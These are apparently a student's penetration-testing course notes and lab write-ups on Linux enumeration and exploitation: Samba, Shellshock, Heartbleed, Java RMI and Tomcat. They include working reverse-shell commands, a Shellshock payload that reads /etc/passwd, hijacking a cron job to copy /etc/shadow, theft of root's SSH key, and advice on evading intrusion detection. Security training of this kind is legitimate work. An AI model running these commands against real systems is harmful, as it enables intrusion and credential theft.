Information Gathering

Remote Enumeration

OS Fingerprinting Re-Cap

port scanning
service identification
operating system fingerprinting
banner grabbing
etc
nmap -O --osscan-guess <target ip>
// agressive guessing the OS
nmap -v -sT -O <target ip>
// througout the ports we can, the majority of times, know what system is
nmap -v -sS -sU -sV -n <target ip>

After we’ve identified open services

  • we can begin enumerating those services For
  • version information, configuration details, potential exploitability

Low Hanging Fruit

NFS - Network File System

  • RPC-based file sharing protocol = its used to provide access to shared resources
  • usually found listening on TCP and/or UDP port 2049.
nmap -sT -sU -sV -p 2049 <target ip>
  • Relies on other RPC services, such as mountd. it should be directly queried via the Portmapper service which is found on port TCP and/or UDP 111 when using Nmap NSE scripts For instance.

Exports

  • Exports are the mechanism used by NFS is order to export directories, in other words, make entire directories available to other users over the network.
  • Can usually be found in the /etc/exports file on a target host locally

Enumerating NFS

  • We can find some NFS scripts we can use For NFS:

ls /usr/share/nmap/scripts/ | grep nfs nfs-ls.nse nfs-showmount.nse nfs-statfs.nse

nmap --script nfs-ls,nfs-showmount,nfs-statfs <target ip>

alternatively,

showmount -e <target ip> 
// -e or --exports

Examples

Export list For 192.168.13.26

/var/www *
/home/bob *
  • When the export directory its listed with “*”, that means that it allows mounting the exports from any IP address or host.
  • Ideally, an administrator would want to explicitly define (whitelist) IP addresses or hosts that should be allowed to connect to the NFS server, in which case, the output would be something similar to:

Export list For 192.168.13.26

/var/www admin.foocampus.com 192.168.13.100
/home/bob 192.168.13.129
  • Even in the case where our access is restricted due to an NFS whitelist configuration like the above, the output still gives us valuable information regarding which IP addresses or hosts can mount any available exports.
  • in this scenario, we can spoof our IP address to match a whitelisted IP or take control of a host which is allowed to connect.

Once we’ve confirmed a misconfiguration

  • then we can attempt to mount the available exported directories
  • first create a directory
mkdir -p /mnt/home/bob
  • export the target dir:
mount -t nfs <NFS Server IP>:/home/bob /mnt/home/bob -o nolock
mount
// to confirm if the NFS directory was exported

cd /mnt/home/bob && ls -al
// go to the mounted directory and list contents

Enumerating Portmapper (rcpbind)

  • its used to map RCP or ONC RPC (Open Network Computing Remote Procedure Call)
  • usually found listening on ports TCP/UDP 111 and in some cases, ports TCP/UDP 32771
  • Querying a single port (TCP/111), essentially enumerates all related RPC-related service ports without us having to conduct a port scan against all those ports individually.
  • Nmap NSE can be used to enumerate: rpcinfo, rpc-grind
nmap --script rpc-grind,rpcinfo <target ip> -p 111

alternatively,

rpcinfo -p <target ip>

SMB (Samba)

  • Provides print and file sharing services For windows clients within an environment.
  • Recent versions also seamlessly can be integrated with Active Directory domains.
  • Can be found listening on the usual NetBIOS ports: 135,137,138,139,445
nmap -sT -sU -sV <target ip> -p 135,137,138,139,445 --open

SMB Shares

  • Now that we have identified that Samba is on the target system, we can enumerate information
  • including shares, users, password policies etc
nmap --script smb-enum-shares <target ip>

alternatively,

smbclient -L <target ip>

What access do we have?

  • To know which shares we have access
  • we can use smbmap = https://github.com/ShawnDEvans/smbmap
smbmap -H <target ip>

// there are many more options with smbmap, including interacting with the remote file system, searching file contents For specific strings, and even executings commands.

smbclient \\\\<target ip>\\<share>

we can mount samba shares too

  • similar to NFS, but in this case we need to download a package: cifs-utils
mkdir /mnt/www
mount -t cifs \\\\<target ip>\\<share> /mnt/www
cd /mnt/www && ls -als

SMB Users

Method # 1 - Bash ‘for loop’ and rpcclient

// using rpcclient and a list of potential usernames we have gathered from other phases // if you dont gathered any usernames, we can use a wordlist // Statistically-likely-usernames = https://github.com/insidetrust/statistically-likely-usernames

For u in $(cat users.txt)
	do rpcclient -U "" <target ip> -N \
	--command="lookupnames $u";
done | grep "User: 1"
-U "" = anonymous/guest logon 
lookupnames = is a rpcclient command
-N = specifies to use no password, since we can log in as guest
we can also do it manually
rpcclient -U "" <ip> -N
lookupnames <user>
valid users = "User: 1" // Non-existent user = "NT_STATUS_NONE_MAPPED"
rpcclient has various options example: lookupsids, netshareenum, srvinfo, enumprivs

Method # 2 - Automated (enum4linux)

// great tool to enumerate an SMB server enum4linux = https://github.com/portcullislabs/enum4linux

enum4linux <target ip>

Enumerating SMTP Users

// the following techniques can apply to: Sendmail, Postfix, Exim, Microsoft Exchange

  • usually found on TCP/25
  • we can use nmap NSE as well

to enumerate which options (verbs or features) are enabled

nmap --script smtp-commands <target ip> -p 25

alternatively,

nc <ip> 25 or telnet <ip> 25
help
  • For our purposes, we are interested in the [ RCPT, VRFY, EXPN ] features/verbs
  • which can be used to enumerate users

SMTP RCPT TO

  • first → telnet 25 = connect → HELO tester.localdomain = identify ourselves → MAIL FROM: tester@tester.localdomain = to tell the server who the mail will be from

  • then we can enumerate potential users:

RCPT TO: <user@domain.com>

valid use = code 250 // non-existent user = code 550

EXPN

// it was designed to be used to query a mail server For a list of members within a mailing list on a server.

  • after the connection with nc or telnet
EXPN <user>

valid use = code “250” // non-existent user = code “550”

VRFY

// similar to EXPN output

  • after the connection with nc or telnet
VRFY <user>

valid use = code “250” // non-existent user = code “550”

Automate the enumeration with SMTP-USER-ENUM

// it tests all three methods (RCPT, EXPN, VRFY) http://pentestmonkey.net/tools/user-enumeration/smtp-user-enum

// some examples of usage:

smtp-user-enum -M VRFY -U users.txt -t <ip>
smtp-user-enum -M EXPN -u admin -t <ip>
smtp-user-enum -M RCPT -U users.txt -T ips.txt
smtp-user-enum -M EXPN -D example.com -U users.txt -t <ip>

-M = mode
-U = user file
-u = fixed user
-T = target ips file
-t = fixed target ips
-D = domain

Local Enumeration

  • Network Information
  • System Information

Network Information

we can ask ourselves some important questions:

  • How is the exploited machine connected to the network?
  • Is the machine multi-homed? Can we pivot to other hosts in other segments?
  • Do we have unfettered outbound connectivity to the internet or is egress traffic to certain ports or protocols?
  • Is there a firewall between me and other devides/machines?
  • Is the machine Im on, communicating with other hosts? if so, what is the purpose or function of the hosts that my current machine is communicating with?
  • What protocols are being used that are originating from my actively exploited machine? Are we initiating FTP connections or other connections (SSH etc) to other machines?
  • Are other machines initiating a connection with me? if so, can that traffic be intercepted or sniffed as cleartext in transit? Is it encrypted?

Some commands

ifconfig -a / ip -a

// Get information regarding our current network interfaces. // To know our IP address and whether or not there are additional interfaces that we may be able to use as pivots to other network segments.

route -n / ip -r

// its used to print our current network routes, which includes our gateway of course.

traceroute -n <ip address>

// how many hops are between our compromised machine and other network segments.

DNS Information

cat /etc/resolv.conf
  • what machine is resolving our DNS queries?
  • Can we use it to exfiltrate data over a DNS tunnel?
  • Is the DNS server vulnerable to any exploits?
  • Is it an Active Directory controller?

ARP Cache

arp -en
  • can give us a bit of situational awareness regarding machines near us, or machines that our currently exploited system communicates with For one reason or another.
  • who we are communicating with
  • whats being communicated
  • whether that traffic or communication has any value to us from an exploitation perspective

Netstat

netstat -auntp
  • what other machines or devices we are currently connected to
  • which ports or services on other machines we are connected to
  • what ports our current machine are listening on
  • Are there other systems establishing connections with our current machine

[+] System without netstat [+]

  • if For any reason, the machine does not have netstat or its blocked. https://staaldraad.github.io/2017/12/20/netstat-without-netstat/
  • this article teaches how to parse similar information from: /proc/net/tcp /proc/net/udp

ss - alternative to netstat we can use to list active network connections with the ss command

ss -twurp

Outbound Port Connectivity

// check if our outbound port connectivity is restricted in any way

A quick way to check that: http://portquiz.net/

  • Portquiz is a web server which has most (if not all) TCP ports listening. We can use it to confirm we can connect to arbitrary ports outside of our network with a quick nmap scan:
nmap -sT -p 4444-4450 portquiz.net

// Keep in mind that any scans originating from your compromised machine can alert network administrators of anomalous activity. // Considering using nmaps –T (timing) option at a low value to stay under any internal IDs radar.

System Information

// Our goal with this phase is to get information regarding: Operating System and Kernel Environment Variables Interesting Files and Sensitive Information Users, Groups, Permissions and Privileges Services and Associated Configuration files Cron Jobs, System Tasks Installed Applications and Versions Running Processes

// Ultimate objective: get better access obtain additional footholds within an environment

Information Gathering Tools and Resources

  • LinEnum https://github.com/rebootuser/LinEnum // Automated Information Gathering Tool.

  • LinuxPrivChecker https://github.com/sleventyeleven/linuxprivchecker // checks For privilege escalation methods

  • Unix-privesc-check http://pentestmonkey.net/tools/audit/unix-privesc-check // finds common misconfigurations which can help us elevate our privileges

  • mimipenguin https://github.com/huntergregal/mimipenguin // For dumping the logon password For the currently logged on use; // This should be done during the post-exploitation phase

Additional Resources

  • Local Linux Enumerating & Privilege Escalation CheatSheet: https://web.archive.org/web/20200218150604/https:/www.rebootuser.com/?p=1623

  • Basic Linux Privilege Escalation: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

  • Local Unix PrivEsc Aggregation - FuzzySecurity (Kernel Exploits): https://github.com/FuzzySecurity/Unix-PrivEsc

extra [+] - privesc

run LinuxPrivChecker example:

Sudoer
	user ALL=(root) NOPASSWD: /usr/bin/apt edit-sources ../*

sudo /usr/bin/apt edit-sources ../../../../tmp/foo 
option 3 = vim.basic
:!sh

we have root access

Summary regarding our network state:

Alt text

Summary regarding our System information:

Alt text

Alt text

Alt text

Alt text

Alt text

Lab 1 - Linux Exploitation (Remote Enumeration)

Scope: The scope is limited to the following domain and netblock:

Netblock: 172.16.80.1/24

Domain: robotstogo.localdomain

Lab under maintenance - and I dont have pacience to wait So ill just study, and do the lab later, why am I writing this? anyway

Task 1 - Identify Operating Systems, Ports/Services and Versions

nmap -sT -O -sV --version-all 172.16.80.1/24

// Host // Operating System // Ports - banner

172.16.80.22

Linux 2.6.X

22 OpenSSH 4.7p1
80 Apache httpd 2.2.8
139 Samba 3.x
443 Apache httpd 2.2.8
445 Samba 3.x
512 tcpwrapped
1999 rmiregistry
8180 Apache Tomcat
37179 rmiregistry
46079 rmiregistry
46732 mountd
47070 status
54202 nlockmgr
---------------------------------------------------------------------
172.16.80.24

Linux 2.6.32

4433 nginx 1.1.19
8080 Apache Tomcat JSP
Engine
---------------------------------------------------------------------
172.16.80.26

Unix

21 vsftpd 2.3.4
---------------------------------------------------------------------
172.16.80.27

Linux 3.2

22 OpenSSH 7.6p1
25 Sendmail 8.15.2
79 Linux fingerd
80 nginx 1.13.8
111 rpcbind
139 Samba 3.x
445 Samba 3.x
587 Sendmail 8.15.2
2049 nfs_acl
32931 nlockmgr
34457 mountd
37437 mountd
48797 mountd
60666 unknown

Task 2 - Enumerate any SMTP Servers for Enabled Methods/Verbs and Users

nmap --script smtp-commands 172.16.80.27 -p 25
nc 172.16.80.27 25

// SMTP Server IP // Enabled Methods 172.16.80.27 - HELO, EHLO, MAIL, RCPT, DATA, RSET NOOP, QUIT, HELP, VRFY, EXPN, VERB, ETRN, DSN, AUTH

Task 3 - Enumerate The Samba server For Version, Users, Available Shares and Content

// obtain a list of local users

enum4linux -r 172.16.80.22 | grep "Local User"
enum4linux -r 172.16.80.27 | grep "Local User"

// identify shares and permissions

smbmap -H 172.16.80.22
smbmap -H 172.16.80.27

// the system allows anonymous or guest access?

nmap --script smb-enum-shares 172.16.80.22 -p 445

// no useful results here, so we may try to connect without password with smbclient (-N option)

smbclient -N \\\\172.16.80.22\\tmp -U ""

In SMB shell:

ls = to list directories

// lets try the second machine

nmap --script smb-enum-shares 172.16.80.27 -p 445

smbclient -N \\\\172.16.80.27\\web -U ""
ls

// To obtain the samba version and operating system

nmap --script smb-os-discovery 172.16.80.22 -p 445
nmap --script smb-os-discovery 172.16.80.27 -p 445

Task 4 - Identify NFS Shares and Content

nmap --script nfs-ls 172.16.80.27

// we discovered that there is /home/simon being exported and contains a backup.zip

Task 5 - Execute a Nmap Vulnerability Script Scan against Dicovered Hosts/Ports

  • Important: With the Nmap scans that follows, notice we are using a “+” character before the “vuln” category For the NSE script scan; this will force Nmap to conduct vulnerability scans against *non-standard ports.
  • Confucting this type of scan against a large set of ports, will take a very long time; Also, it will generate a lot of noise.
nmap --script +vuln -p 80,1999,8180,35316 172.16.80.22
nmap --script +vuln -p 4433 172.16.80.24
nmap --script +vuln -p 2049,445,80,60666 172.16.80.27

Task 6 - Identify Services That Can be Used to enumerate Users

172.16.80.22:
	SMB / 445 / Using enum4linux script or rpcclient

172.16.80.27:
	SMTP / 25 / Using smtp-user-enum script or manually
	FINGERD / 79 / finger root@172.16.80.27 (can be automated with a “For loop”.)
	SMB / 445 / Using enum4linux script or rpcclient

Lab 2 - Linux Exploitation (Local Enumeration)

Machine IP: 172.16.80.27
ip: 172.16.80.5
Username: lowpriv
Password: l0wpr1vx80#

Task 1 - Enumerate for SUID Executables

find / -perm -4000 2>/dev/null

/sbin/mount.nfs
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/vudo
/usr/sbin/sensible-mda
/usr/sbin/pppd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/bwrap
/usr/bin/vmware-user-suid-wrapper
/usr/bin/procmail
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/kismet_capture
/usr/bin/sudo
/usr/bin/passwd
/usr/local/bin/catme
/bin/umount
/bin/ntfs-3g
/bin/fusermount
/bin/su
/bin/ping
/bin/mount
  • here is 2 files that we can try /usr/sbin/vudo /usr/local/bin/catme
    /usr/sbin/vudo -h
    vudo - safely edit the sudoers file
    

usage: vudo [-chqsV] [-f sudoers] [-x output_file]

Options:

  -c, --check              check-only mode
  -f, --file=sudoers       specify sudoers file location
  -h, --help               display help message and exit
  -q, --quiet              less verbose (quiet) syntax error messages
  -s, --strict             strict syntax checking
  -V, --version            display version information and exit
  -x, --export=output_file write sudoers in JSON format to output_file

we can use this vudo file to edit the sudoer file

// so we can add our user there

/usr/sbin/vudo -f /etc/sudoers
	lowpriv ALL=(root) NOPASSWD: ALL
	:wq!
	sudo bash

Pwned!

back to lowpriv user - Task 2

find /etc/cron* -type f -perm -o+w -exec ls -l {} \;
// the command will search For files that are writeable by everyone
	-rwxrwxrwx 1 root root 47 Feb 21  2018 /etc/cron.hourly/oddjob
  • we have write access
  • lets copy the shadow file to tmp/shadow
echo -e '\#!/bin/bash\n/bin/cat /etc/shadow > /tmp/shadow' > /etc/cron.hourly/oddjob
  • in the min 17 of every hour, as the crontab shows…
  • our command will be executed, so the shadow will be copied to the temp folder

another method

  • we have access to the /root folders, but we cant list files
  • we can see that .ssh exists, but we cant access
  • we cant access, but we can try to access the file id_rsa inside the .ssh
  • that is a common file
cat /root/.ssh/id_rsa

// we have the RSA PRIVATE KEY // to access the ssh

// check if the public key authentication is available

cat /etc/ssh/sshd_config | grep Pub
	PubkeyAuthentication yes
  • create a .ssh in the user /home folder
  • copy the id_rsa file to this folder
  • and give the property permission
cd /home/lowpriv/
mkdir .ssh
cp /root/.ssh/id_rsa /home/lowpriv/.ssh/.
chmod 600 id_rsa

// now we can access the root@localhost via ssh

ssh -i /home/lowpriv/.ssh/id_rsa root@localhost

2nd time

grep -nri "/tmp/message" /usr
printf '#! /bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers'

Exploitation over the Network

Password Spray Attack

  • trying just a single password attempt against tens or hundreds of user accounts.
  • reduces the risk of account lockout
  • help us stay under the radar
  • aka Reverse-Brute-force attack

  • first we need to gather as many usernames as possible
  • utilizing more than one tool could help us compile an initial user list
  • The Harvester, Statistically likely usernames, etc
  • smtp-user-enum, metasploit has smtp_enum module, manual methods as vrfy, expn etc

create a user list

  • using the Statiscally Likely Usernames
head -n 50 john.txt >> users.txt
  • combine with user that you gathered from other phases of testing

in Metasploit:

	use auxiliary/scanner/smtp/smtp_enum
	set options
	// we should get valid users as result, so we must add these in a file valid_users.txt
  • now we should determine one or two (maximum) commonly-used passwords
  • the most common its the current season along with the year. e.g., Spring2018
  • another common password: CompanyName + a numerical value, e.g., FooCorp01, FooCorp02
  • Passwords may be reused across systems within an environment as well

determine services that we can spray attack

nmap -sT <target ip> --open --max-retries 1 -n
// ssh, smtp, smb are some services we can try

Summary

  1. Create a list of users gathered through our information gatherins phase, in addition to using usernames from the statistically likely usernames list.
  2. Confirmed valid users using SMTP user enumeration with smtp_enum from metasploit scanner module.
  3. Created our list of validated user accounts, and a list containing two commonly-used passwords
  4. Determine several services on our target machine we can execute our password spray attack against and have decided on SSH.

We can execute the attack

hydra - https://github.com/vanhauser-thc/thc-hydra
 hydra -L users.txt -P passwords.txt ssh://<target ip>

once we have obtained valid credentials For a single user, we can also exploit the common case of password reuse within an environment.

hydra -l david -p Spring2018 -M ssh_server.txt ssh
   // the -M = specify a list of ssh servers we can attack
  • metasploit smb_login scanner module can be used to obtain similar results For passwords spray attacks against SMB services.
  • this attack are also known to ve very successful against platforms such as Outlook Web Access or Exchange Portals.
  • Metasploit has a module on brute force OWA portals - owa_login
  • Depending on system configurations, password spray can be detected and thwarted, which its crucial to only attempt one (recommended) to two (maximum) passwords during a single run.
  • after attempting a password spray run, if unsuccessful the first time around, wait 45 minutes and try again with new passwords in your list.
  • multiple attempts within a certain time-range also result in detection and/or lockouts.

Exploiting Samba

  • Typically provides file sharing services to both windows, and linux users.
  • Versions up to 4.6.4 contain vulnerabilities that allow an attacker to take control of an affected server completely;
  • recently seen with CVE-2017-7494, aka SambaCry

First - Identify Samba and version

nmap --script smb-os-discovery -p 445 <target ip>

// once the version of Samba is known, we can start to investigate exactly which vulnerabilities might be present For that particular version. // searchsploit is a tool For this, its a local database of all exploits that can also be found at exploit-db.com

find an exploit

searchsploit samba 3.0.20 
   // with the version we found earlier
  • There is a (Username map script command execution) available, and also the metasploit version of the same exploit
  • Moreover about this vulnerability- https://www.samba.org/samba/security/CVE-2007-2447.html

exploit

in metasploit:

	use exploit/multi/samba/usermap_script
	set options
	run
	// we should gain a shell with root access

Get a better shell

  • even tho we are root, we dont have a decent shell
  • so we can execute a python one liner to gives us a proper PTY (Pseudo TTY)
python -c "import pty; pty.spawn('/bin/sh')"
  • This vuln essentially allows an attacker to create a symbolic link to the root (/) partition from a writeable share ultimately allowing For read access to the entire file system outside of the share directory.
  • Can be exploited using a modified “smbclient”, but metasploit contains a module For exploitation as well.
  • pre-requisites, samba server contains a writeable share and widelinks parameter in the smb.conf file is set with a value of “yes”
smbmap -H <target ip>
   // determine if you have write access to the shares

after we have determined a writeable share is available

in metasploit:

	use auxiliary/admin/smb/samba_symlink_traversal
	set options
	set smbtarget <rootfs> // default
	run

// now we can access the share

smbclient \\\\<target ip>\\tmp -N
cd rootfs

notice that, the directory rootfs is created in the writeable share we can now, use get and put commands, to download/upload files into the share.

useful command - TAR

  • when conducting post-exploitation tasks using smbclient is the “tar” command.
  • with tar command, we can create an archive of all files within a current directory, For local perusual later.
cd etc
tar c ../tmp/all_files.tar *
// the above will create a tar archive of the /etc/ directory on the target system to our local systems /tmp directory

ls -als all_files.tar
to list the copied files
  • We can then extract, and start enumerating files For sensitive content, passwords, etc.
tar xf /tmp/all_files.tar
cd /tmp/rootfs
grep -r "password" * 2>&1 /dev/null

Writeable Samba Share to Remote Command Execution via Perl Reverse Shell

  • what to do in a samba server is fully patched, but we have a writeable share available to us?

  • in this scenario, server fully patched, and contains a share named ‘www’, which appears to be possibly configured to allow administrators to easily update an internal web application.

// get the samba version

nmap --script smb-os-discovery -p 445 <target ip>

// get the permission of the shares

smbmap -H <target ip>

about our findings

  1. Web roots often contain files specific to a web server configuration and can futhermore be used to obtain credentials to other service , .e.g. MySQL
  2. Being able to write to a web root, is even better depending ob the web server configuration; For instance, is PHP installed? Are there any other web server-interpreted languages we can use to our advantage? Can we upload any files to this directory, and how will the web server handle our files? Can we exploit that to obtain remote command execution?

Connect

smbclient \\\\<target ip>\\www -N

ls // the presence of a “.pl” extension indicates that the server is likely configured to process Perl (CGI) programs. // grab the file and analyse the code get index.pl

  • lets check if the port 80 is open
nmap -sT <target ip> --max-retries 1 -n --open
  • lets point a browser at our target
open <target ip>/index.pl in a browser

we have confirmed that the www share is configured on the Samba server, is most likely being used to server the index.pl script and is likely the actual web root For the web server.

  • make sure we have WRITE permission to the “www” share
  • lets create a file locally and send to the smb share
#!/usr/bin/perl
print "Content-type: text/html\n\n";
system("id");

//it will execute the id Linux system command and will display your current UID and GID information when accessed with your browser.

	smbclient \\\\<target ip>\\www -N
	put test.pl
  • lets browser to our test.pl file

in browser:

<target ip>/test.pl

this will confirm For us that we can upload our own Perl scripts to the server and can execute remote operating system commands through our test script.

reverse shell - Perl

  • Now we can use perl-reverse-shell.pl from pentestmonkey
  • in kali: /usr/share/webshells/perl directory // just change the ip of the source code // and note the port number

  • Upload the script to the share
smbclient > put 
  • open a netcat listener
nc -lvnp 1234
// -n = no dns
// -l = listen
// -v = verbose
// -p = port we want to listen on
  • now we can open the file through the browser in browser:
<target ip>/<perl-reverse-shell.pl>

// we have a shell

  • alternatively, we could have modified the test.pl that we upload before. add in the code:
system("nc <target ip> 1234 -e /bin/bash");

Exploiting Shellshock

aka Bashdoor
  • its from september 2014
  • discovered in unix bash shell, and affected CGI programs on web servers;
  • openssh, dhcp clients, and several other attack vectors, e.g. Qmail servers etc
  • resulted in several CVEs being assigned

determine if the system is vulnerable

  • from a local system perspective:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

// When executed in a vulnerable bash shell, the string essentially executes an environment variable called x. // x in turn runs the echo vulnerable command, which is outside of the environment variable function // i.e., outside of the “() { :;};” part of the string

  • This was not intended as part of the design of how bash should handle environment variables.
  • On a patched system, the correct output of the above string would simply be this is a test

primary attack vectors

  • one of the primary attack vector that was seen in the wild following the disclosure of shellshock was the modification of User-Agent strings to include Shellshock payloads intended to run commands on the remote server.
User-Agent: () { :;}; ping -c 5 -p unique_string attacker.machine

if the attacker system receives the unique payload string, then this serves as confirmation that the system ran the ping command.

dirsearch - https://github.com/maurosoria/dirsearch

  • Is similar to some other tools you may be familiar with such as dirb or dirbuster and is used to execute dictionary-type attacks against web servers in search For interesting files, directories, etc.

  • In order to find some CGI programs on a web server, we are going to utilize: // -e = extensions // -r = recursive

./dirsearch.py -u http://<target ip>/ -e cgi -r

discovered: // cgi-bin directory // login.cgi file // we can access the login.cgi

open the file in the browser

<target ip>/cgi-bin/login.cgi

identify wheter or not the .cgi program is vulnerable to shellshock

  • we can use http-shellshock Nmap NSE script For this.
nmap --script http-shellshock --script-args uri=/cgi-bin/login.cgi <target ip> -p 80

// its likely vulnerable

Ways to Exploit

  • There are multiple ways to exploit shellshock to gain control over a system.
wget -U "() { foo;}echo \"Content-type: text/plain\"; echo; /bin/cat /etc/passwd" http://<target ip>/cgi-bin/login.cgi && cat login.cgi

// we should get the /etc/passwd of the target

// wget will issue a GET request to the target system, use a Shellshock-ified User-Agent(-U) to echo the contents of /etc/passwd to a local file on our attacker system (login.cgi), and will then display its contents to us (&& cat login.cgi)

  • Now that we confirmed that we can execute commands on the remote system, we can use that to our advantage.

-set up a handler

nc -lvnp 1234
  • set up the wget command with a reverse shell
wget -U "() { foo;echo; /bin/nc <kali ip> 1234 -e /bin/sh" http://<target ip>//cgi-bin/login.cgi

if everything is correct, we should gain a reverse shell from our handler

Exploiting Heartbleed

  • Heartbleed, 2014, was a critical bug affecting OpenSSL versions 1.0.1 through 1.0.1f and allowed For the reading of encrypted data stored in memory due to a faulty implementation of the TLS (Transport Layer Security) and DTLS (Datagram Transport Layer Security) protocols heartbeat extension.

Verify a vulnerable OpenSSL implementation

nmap --script ssl-heartbleed <target ip>

After confirmed, we can use metasploit

use auxiliary/scanner/ssl/openssl_heartbleed
set action DUMP
set other options
run
// metasploit will store the result in ~/.msf4/loot directory as .bin file

check the results

strings <file.bin>

// in this case, the username and password was leaked

[+] if you dont get any leaked data from your first run, try again.

Exploiting Java RMI Registry

  • Java Remote Method Invocation

  • There exists a vulnerability in default configurations of RMI registry and RMI activation services and affects what is known as the RMI Distributed Garbage Collector, and essentially allows the loading of arbitrary Java classes from an attacker-defined URL.
  • Usually found on port 1099 TCP
  • in nmap is identified by the GNU Classpath grmiregistry
nmap -sT <target ip> -p 1099 -sV

Alternatively, in metasploit:

use exploit/multi/misc/java_rmi_server
set options, most as default
run -j
  • the SRVHOST and SRVPORT options are essentially what the module use as a web server that the target will use to download the Java payload from.
  • For additional IDs or Endpoint Detection Evasion, you may wanto to set SSL to true
  • the majority of metasploit is detect, hence the SSLCert option which allows you to specify your own custom SSL certificate For the SRVHOST.

[+] General tip In regard to metasploit modules and exploits, where possible, always configure a custom SSL certificate For your listeners, etc. This goes a long way in evading Intrusion Detection Systems. Metasploit has been around a long time, and defenders have heavily analyzed the source code, and have written detection capabilities For most modules in their default configurations.

  • We can interact with our session
  • Drop to a shell
  • upgrade the shell with pty.spawn()

[+] Sometimes the RMI can be found in non-standard ports, and other ports which the service may require For other reasons. That goes For virtually any service

Exploiting Java Deserialization

  • in general, Deserialization of untrusted data.
  • Java-based applications Jboss, WebLogic, WebSphere and Jenkins are affected by this class of vulnerability
  • Serialization itself is a process which allows For applications to convert data into a binary format, which is suitable For saving to disk.
  • In the case of this example, suitable For that data to be transferred over a network and into an application to be then deserialized and processed by the application as usable data again.

#

  • This process is vulnerable to the deserialization of untrusted malicious data, which can be supplied by the user, and is ultimately deserialized by an application resulting in code execution without even requiring authentication in most cases.
  • moreover: https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

webLogic Serialization Vulnerability

https://web.archive.org/web/20160513025134/http:/www.zonksec.com/blog/hands-on-with-weblogic-serialization-vulnerability

Exploiting Apache Tomcat

  • Used primarily For Java-based web applications.
  • default credentials = https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown
  • Typically found on port 8180 TCP

Metasploit

use auxiliary/scanner/http/tomcat_mgr_login
set options
set STOP_ON_SUCCESS = true
run
  • after enter in the Tomcat Manager with the credentials we got here
  • there is an area that we can see the deployed applications

Laudanum

  • https://sourceforge.net/projects/laudanum/
  • in kali: /usr/share/laudanum/ - /jsp/
  • the cmd.war application is essentially a java application, which if we can deploy successfully, will allow control of the server, and remote command execution.
  • War file to deploy > browser > select the cmd.war file
  • confirm if the application was deployed > applications > /cmd

  • if the application deployed correctly, we can browser to it with the following URL:
http://<target ip>/cmd/cmd.jsp

// we can now execute commands on the system from the JSP Shell:

cat /etc/passwd

with the possibility of execute commands in hand, we can get a rev shell etc the sky is the limit

Extra [+] - URL encoding conversion

(space) = +
(=) = %3d
( / ) = %2f
( . ) = %2e
( aspas ) = %22
( - ) = %2d
( : ) = %3a
find / -perm -4000 2>/dev/null
	/usr/bin/nmap
	nmap --interactive
	!sh
	// we have root

dRuby RMI Exploit

  • typically on port TCP 8787
use exploit/linux/misc/drb_remote_codeexec
set options

Post-Exploitation

Goals: - Perform additional information gathering and enumeration of any systems from a local perspective (shell, console, etc.) - Elevate our privileges - Maintain a foothold - Pivot to other systems - Utilize methods to exfiltrate data

Categories: - Additional Information Gathering - Privilege Escalation - Lateral Movement - Data Exfiltration - Maintaining Access

PrivEesc

  • System and Network Information
  • User Information
  • Privileged Access / Cleartext Credentials
  • Services
  • Jobs / Tasks
  • Installed Software Version Information

System and Network Information

  • Hostname Does the hostname reveal anything about the systems function? Can we leverage that information to gain access to function-related information?
hostname
  • Kernel Version Is the kernel vulnerable to any exploits?
uname -a
  • Operating System Does our current OS have any known exploitable vulnerabilities?
cat /etc/issue
  • IP address
ifconfig
  • Running Processes
ps auxw
  • Network Routes Is our currently compromised machine routed to other networks? Can we use this information to pivot?
route -n
  • DNS Server Can we obtain information from the DNS server? Active Directory Accounts, Zone Transfer, etc
cat /etc/resolv.conf
  • Arp Cache Have other machines communicated with another target? Are the other machines accessible from the target?
arp -a
  • Current Network Connections Are there any established connections from our machine to other machines and vice versa? Are the connections over encrypted or non-encrypted channels? Can we sniff the traffic of those connections?
netstat -auntp

User Information

  • Current user permissions Can our current user access sensitive information/configuration details that belong to other users?
find / -user username
  • UID and GID Information For all users How many users on the system? What groups do users belong to? Can we modify files belonging to users in other groups?
For user in $(cat /etc/passwd | cut -f1 -d":"); do id $user; done
  • Last logged on users Whos been on the system? From what systems? Can we pivot to those other systems using credentials we might already have?
last -a
  • Root accounts How many UID 0 (root) accounts are on the system? Can we get credentials For any of them?
cat /etc/passwd | cut -f1,3,4 -d":" | grep "0:0" | cut -f1 -d":" | awk '{print $1}'
  • Service Accounts Do any of the service accounts (i.e, www-data) have shells defined? Can we log in as those accounts?
cat /etc/passwd
  • Home Directories Do we have access to other users home directories? Is any of the information contained in those directories useful to us?
ls -als /home/*

Privileged Access / ClearText Credentials

  • Can the current user execute anything with elevated privileges?
sudo -l
  • Are there any setuid root (SUID) binaries on the system which may be vulnerable to privilege escalation?
find / -perm -4000 -type f 2>/dev/null
  • Can we read configuration files that might contain sensitive information, passwords, etc?
grep "password" /etc/*.conf 2>/dev/null
grep -r password /etc/*.conf 2>/dev/null
  • Can we read the shadow file? If so, can we crack any of the hashes?
cat /etc/shadow
  • Can we list or read the contents of the /root directory?
ls -als /root
  • Can we read other users history files?
find /* -name *.*history* -print 2>/dev/null
  • Can we write to directories that are configured to server web pages?
touch /var/www/file

Services

  • Which services are configured on the system and what ports are they opening?
netstat - auntp
  • Are service configuration files readable or modifiable by our current user?
find /etc/init.d ! -uid 0 -type f 2>/dev/null | xargs ls -la
  • Can we modify the configuration of a service in such a way that gives us elevated privileges?
Edit Service Configuration File
  • Do the configuration files contain any information we can use to our advantage? (credentials etc)
cat /etc/mysql/my.conf
  • Can we stop or start the service as our current user?
service <service name> start/stop
  • What actions take place as a result of being able to stop and start services?

Jobs/Tasks

  • What tasks or jobs is the system configured to run and at which times?
cat /etc/crontab
ls -als /etc/cron.*
  • Are there any custom jobs or tasks configured as root that world-writable?
find /etc/cron* -type f -perm -o+w -exec ls -l {} \;
  • Can we modify any of the existing tasks at all?
Try and modify cron jobs

Installed Software Version Information

  • What software packages are installed on the system?
